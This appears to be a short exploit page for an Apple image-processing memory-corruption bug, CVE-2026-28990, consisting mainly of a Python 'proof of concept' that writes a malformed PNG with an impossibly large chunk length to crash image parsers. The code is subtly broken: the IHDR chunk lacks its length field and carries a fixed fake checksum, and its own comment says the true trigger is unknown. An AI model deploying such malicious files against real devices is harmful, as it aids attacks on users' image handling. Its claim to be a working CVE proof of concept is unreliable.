CVE-2026-28990 Apple图像处理内存破坏漏洞

import struct # Proof of Concept for CVE-2026-28990 # This script generates a potentially malicious image file to test memory handling. # Note: The specific trigger pattern requires reverse engineering the patch. def generate_malicious_image(filename): # Create a fake PNG header with invalid chunk length to trigger parsing logic png_signature = b'\x89PNG\r\n\x1a\n' # IHDR chunk (standard) ihdr = b'IHDR' + struct.pack('>IIBBBBB', 10, 10, 8, 2, 0, 0, 0) + struct.pack('>I', 0x0d2a1208) # Malicious chunk with exaggerated length to test memory handling bad_chunk_type = b'bADd' bad_length = 0xFFFFFFFF # Impossibly large length bad_chunk = struct.pack('>I', bad_length) + bad_chunk_type + b'A' * 10 + struct.pack('>I', 0xDEADBEEF) with open(filename, 'wb') as f: f.write(png_signature) f.write(ihdr) f.write(bad_chunk) if __name__ == "__main__": generate_malicious_image('cve_2026_28990_poc.png') print('Malicious image generated: cve_2026_28990_poc.png')